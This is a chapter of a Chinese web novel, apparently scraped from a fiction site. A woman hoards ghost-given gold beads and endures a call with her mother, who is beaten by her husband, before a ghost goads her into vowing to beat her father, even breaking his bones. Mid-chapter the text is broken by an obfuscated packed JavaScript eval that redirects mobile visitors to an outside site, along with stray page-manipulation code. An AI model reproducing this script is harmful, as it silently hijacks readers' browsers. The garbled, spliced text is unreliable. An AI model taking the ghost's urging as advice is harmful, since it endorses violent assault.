刘丽下班后,想买一件衣服,打开拼多多,瞅见一个不大好看但还算便宜的,写着19.9起。
这个相对亲民的价格驱使她这个资深穷点了进去。
结果选来选去,显示37.9、46.3,她急了,到底哪件19.9啊。
她终于找到了19.9的那件,是很薄的。
她需要厚一点的。
算了。
无处不钻的穷让她想起了昨天得来的金珠,她把金珠拿出来,仔细端详。
金珠看着不大,但应该是实心的,中间的孔细小到要很努力才能看见。
她好想知道能换多少钱。
于是出门了。
把那些金珠拿去黄金回收点。
工作人员拿起称重,每颗金珠都是1.2g。她极惊讶,按说以前科技不发达啊,怎么能把重量控制的这么精准,让每颗金珠的重量高度一致?
当工作人员用光谱检测仪测完,纯度99.9的时候,她倒是不惊讶了。
她的凡胎肉眼根本没有辨别真假黄金的能力,但从第一眼见到那只鬼,她就觉得它肯定出身大户人家,它身上的金都是真的,杂质很少的那种真。
她盘算着。
要是都卖掉,绝对够她买一个二手电脑了,还能剩好多钱。
这波也算是因祸得福了!
不过这个地手续费有点高。
不想卖。
她换了个黄金回收点,脚刚迈进去,几乎是瞬间,又拔脚转身往回走。
她还是不想卖,舍不得。
这两天是她和高不可攀的黄金距离最近的一次。
她想再继续拥有这种贵族物件!
她想再捂捂!
留着。
万一过阵子更值钱了。
四舍五入一下,这也算是投资了,她也算尝试了除了买存款以外的第二个投资行为。
回住处路上,看到一个小女孩,小女孩拎着一个透明塑料袋,袋子中装着作业本,还有现金。只见女孩走了几步从袋中拿出百元大钞,亲了一口。
又拿出作业本亲了一口。
噗。
好可爱!
她回到家,琢磨着应该把金珠放在哪。
她翻出了一个盒子,那是个方方正正的木盒子,是很多年前从垃圾桶捡的。
她觉得它好看,透着古朴。
收着是想存放一些自己的贵重物品,里面装了她的银行卡,社保卡,身份证,没了。
攒了这么多年,她的贵重物品少得可怜!
把金珠放进去的时候,她莫名的有点激动,感觉这个盒子住进了一个贵族!
被子那些早就缝补好了,暂时没有换新的计划。
她试了试用手机码字。
勉强可行。
接着研究用手机剪视频。
可行。
手机编辑图片还行。
绘图很不行!
哎。
感觉买电脑这事避免不了。
正练习着咋剪视频,手机响了,她看了一眼手机,是个微信视频电话,瞬间像被妖魔鬼怪偷走大半元气,蔫了不少。
她离开床上的小桌子,穿上棉拖鞋,套上羽绒服,走向楼道。
视频电话是洋葱打来的。
她接通,电话那头没声。
她其实也不想说话,但一通电话,总要有人说话,要不然就会显得很诡异。
她:“妈,彩礼钱我已经给你打过去了,你应该收到了吧。”
她知道没转错人,因为在那之前已经转过无数次了。
转之前还反复确认了。
转后立即给她妈发了消息说这事。
她妈一直没理会。
她在黑暗中问着,在乍亮的楼道中等着,把楼道给等黑了,电话那头还是没有人说话。
她:“妈,你怎么了?怎么不说话?”打来了电话却没一句话,这什么意思?
她眉头更皱了。
她:“妈,你怎么了?”
倒是说句话啊。
她几乎要怀疑她妈被人下了哑药了,但又深知不可能,此时对接电话的排斥感完全被担忧取代。
她不可控地担心她妈。
她开始焦虑。
她:“妈,家里是不是出什么事了?”
还是没音。
焦虑使得她仿佛置身一个巨大的找不到门窗的白茧中,她的心更慌了:“我爸是不是又打你了???”
几乎是立刻,电话那头传来了哭声,是压抑很久后轰然炸开的那种泄洪般的哭。
是她听过很多次的哭声,她在大白天听过,在深更半夜听过,在快要热死人的夏天听过,在快要冻死人的冬天听过。
是她听过很多年的哭声,从记事起听到了现在。
听过很多,但永远不会因为熟悉而习以为常。
她每次都极端痛苦!
她不知道怎么办。
她以前还让她妈去外婆家或者姨妈家躲一阵子,可是她妈总会忍不住惦记他爸吃不上饭咋办。
好不容易有一次,真在亲戚家躲了好些天,回去后,她妈快把她的肠子哭断了。
她爸打的更凶了!
她爸是个家暴狂!
那次不但没在她妈离家期间饿死,反而吃的更饱,力气更大了。天天去村里的小饭馆就着酒吃饭,回回都挂帐,欠了一大堆需要她还的债!
她想让她妈去告他,家暴是不容姑息的恶行!是应该被抵制的!是违法的!是应该受到惩罚的!
可是她妈觉得她有病!
她以为她妈害怕被村里人的唾沫星子淹死。
她以为她妈害怕他爸报复。
她妈或许是怕。但当时重重地骂完她有病后,说的第一句话是:“不至于……”
还指责她丧良心:“他可是你爸……”
!!!
电话那头哭得她心烦意乱,她拿起手机,又一次查起了家暴的量刑。
看的她很纠结。
像这种情况,构成故意伤害罪,但很难判定为重伤,轻伤才三年以下有期徒刑、拘役或管制。
虐待罪情节恶劣但未造成重伤或死亡,处二年以下有期徒刑、拘役或管制。
三年以下、两年以下。
咋没有十年以上?
她当然知道,这个刑是合适的,毕竟肯定经过专家们严谨的讨论,做了多方面的考量,但是她真的好希望,她爸能被长长久久的关起来!
都说孩子是父母生的。
或许从生理上来说是的,但在她心里,从不承认她是她爸生的,她只认她是她妈生的。
她不关心她爸的冷暖安危。
随便他!
她:“妈,离婚吧。”
电话那头:“你胡说啥咧!村里人听了还不得把我笑话死。谁家老汉没打过婆娘,咋就我一个受不了闹腾着要离婚,你让我以后拿啥脸见人!”
她噎住。
电话那头:“你一天到头,光知道搁那出馊主意,亏你还读了那么书,书都读狗肚子里去了?”
“你不是不知道,家里这阵子正在忙活昊昊结婚的事,我要在这个节骨眼闹离婚,不是给他脸上抹黑吗?”
“你让他的面子往哪搁。”
“你是不是又想害他?”
“他可是你弟……”
“要是女方嫌弃不肯结,打死你都不够赔的。”
电话那头已经没了哭声。因为回忆苦难酝酿委屈的脑子正忙着思索她的错,发出哭声的声带正忙着指责她。
她觉得委屈。
她把正事放一边,难道就为了挨训吗?
好想挂电话!
不知道哪来的强风拍打着窗户,她感觉心好像也被强风抽打着。
他爸打她妈,疼的岂止她妈。
还有她啊。
她挨完这份疼后,还要被她妈再骂一顿,又挨一份疼!
脑子不知怎的,闪过一个词—母爱如鞭!
她妈的母爱,是她逃脱不了的鞭刑!
她心抽得疼!
她的手指迅速靠近红色的挂断键,又缓慢地挪开。
她不能挂。
她要是现在挂,她妈想起来丈夫不爱,女儿也不爱,又难过哭泣怎么办?
忽然,左耳一空,耳机被扯走了。她偏了偏头,是那只鬼!它正拿着那只被扯走的耳机往它的耳朵怼。
这是干嘛?
它想听?
不行。这是她们母女俩的事,与它无关。
可她不敢制止,她想起了它奇大无比的力气。她不敢拉扯,怕它直接摔手机,怕它直接把耳机线扯断。
它很暴力很粗鲁!
哎。
电话那头:“你爸这个人其实没那么坏。”
“昊昊出生后,他下地干了不少活,地里的收成好了。他还亲自洗过尿布,给娃喂奶。”
她妈夸起了他爸。
瓮里没水会挑满水。
拾过柴火。
清理过茅厕。
扫过院子。
擦过桌椅。
去地里锄过草。
……
她妈如数家珍般数着他爸本该做的事。
她妈总是很擅长,从他爸的斑斑劣迹中,找到根本无法被称之为美德的美德。
她听腻了。
她:“妈,你现在不疼了吧。要是还疼的话,记得上药。”
电话那头跟没听见似的,继续说起了自打她弟出生后,她那个崭新的爸。
她:“上次给家里买的酒精棉签什么的,都还在吗?”
她妈抽空说了个在,就又把话题拉到了她爸身上,继续盘点她爸的闪光点。
她爸的婚后生活,大概分为3个阶段。
1 儿子出生前
2 儿子出生后,可以压榨女儿前
3 压榨女儿后
第一阶段好吃懒做。
第二阶段吃苦干活。
第三阶段好吃懒做。
不管在哪一个阶段,都家暴!
就这她妈居然还要几十年如一日的洗白!
她时常觉得这很荒唐,但又悲哀地发现,那大概那是她妈一生中觉得最幸福的一段时光。
她妈这辈子真的很苦。
因为过于苦,才会觉得看起来依旧很苦的东西有点甜。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279238|182476||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
哎。
她:“以后我爸要是喝了酒,你就离他远点。很晚了,你早点睡,明天还要去厂里干活。”
电话那头还在夸她爸。
她听了很久后,实在听不动了。
她妈越夸越远,已经开始说,她爸虽然是个农民,但很有水平,和村里的大学生都能聊一块……
她:“妈,我困了。”
真得挂了。
它从耳中拿下耳机,搭在她的手上,用那种领导问话的语气:“你爸多大了?”
她愣了一下。
它:“多大了?”
她开始算。
她不咋关心他爸,也不会每年都把他爸的年龄算一下,这种事不值得烙在脑子里。有人问,她再根据真实的出生年月细算一下。
实际平时也不需要算,一年一年都没人问。
它:“我问两趟了,你却一个字都没挤出来,你是想让我掐着你脖子问吗?”
她:“50岁!”
她的心怦怦跳。
有一种上学被挂在黑板上的紧张感。
她听出它不耐:“你问完,我就开始想了啊,这又不是啥不能说的秘密。可我想得花时间。”
你也太急了!
她:“就不能温和点吗?”
它:“温和个锤子!”
它:“你爸身体好吗?”
她:“不好。”
不好这种说法多少有点笼统,她详说了一下:“肝硬化,高血压……”说着说着又不太确定她能听懂吗。
它:“他又老又病,你应该能打过他吧?”
她:“啊?”
它:“你啊个屁。”
她:“我不知道。”
她没想过这个问题。
从来没想过。
它:“你知道个屁。”
她:“你咋又骂我!”
她:“你倒是给我时间,让我好好想想。”
它冷哼了一声。
左思右想之后,她非常确定地说:“能!”她年轻。她肢体灵活。她虽然远不如眼前这只鬼力气大,但干过很多重活,力气比常人大。
她还能找到更丰富的适合揍人的工具!
她打得过的!
它:“你既然心疼你妈,为何不去打你爸?光嘴上心疼有个屁用。”
她:“啊?”
她极度震惊!
她咋能打她爸???
他可是她爸!
她第一反应就是,她咋能去做如此过分的事,也太大逆不道了。可是当她脑子中闪过‘他可是她爸’的时候,她又犹豫了,真的不能打吗?
她妈总用‘他可是你爸’这句话来捆绑她,她难道也要用这句话再度捆绑自己吗?
还嫌命被勒的不够疼吗?!
她爸打她妈,打她妹,打她,打家里一切不是男人的人。凭啥就他能打别人,别人不能打他?
他不尊重别人。
凭啥被善待?
它:“听过一句话吗,行动才是灵魂!”
她摇了摇头:“没。”
它:“你光心疼不行动,你的心疼就是一坨死物,毫无价值,反像是没有片酬的演员在卖力表演,愚蠢可笑!”
她神思晃了一下。
有点道理!
它:“父慈子孝,父不慈,子何须孝?”
她:“啊?”
有道理!
它:“你可知,对施暴者的纵容,就是一种助纣为虐!”
她再一次觉得有理!
可真的有用吗?
人犯错被打,可能长记性了,老实了,也可能好了伤疤忘了疼,不知悔改啊。
如果激发了更大的怒,猛烈地报复咋办?
她很怕!
她:“那他要是继续家暴……”
它:“继续打。”
她吓住了。
它:“听过伤筋动骨一百天吗?”
她:“听过。”
很常见的话啊。
它:“把他打骨折,让他只能躺着,养好了,要是还敢动手,就再打骨折。他这般老了,没多少个一百天好活了,定然不敢屡次兴风作浪!”
她:“太重了。”
她没想过这种打。
它:“重什么重,没直接打死都算好的!”
她:“肯定不能打死。”
那是杀人!
是犯法的!
它:“把你爸打乖顺了,打服帖了,他还敢打你妈吗?他不打你妈,你既不用心疼你妈,也不用接这种垃圾电话,一举两得,何乐不为?”
是挺好的,可是,不道德啊,违反伦常啊。
她不敢深想,更不敢去干!
它:“孬种!”
它:“懦弱!”
它:“窝囊!”
它:“废物!”
它骂完消失了。
她在黑暗的楼道中站了好久,一缕念头在脑子中浮浮沉沉,最终烙刻于脑:她爸要再打她妈,她就揍他!真揍!
国歌都唱了:起来,不愿意做奴隶的人民。
家人不是他的奴隶!
她得反抗!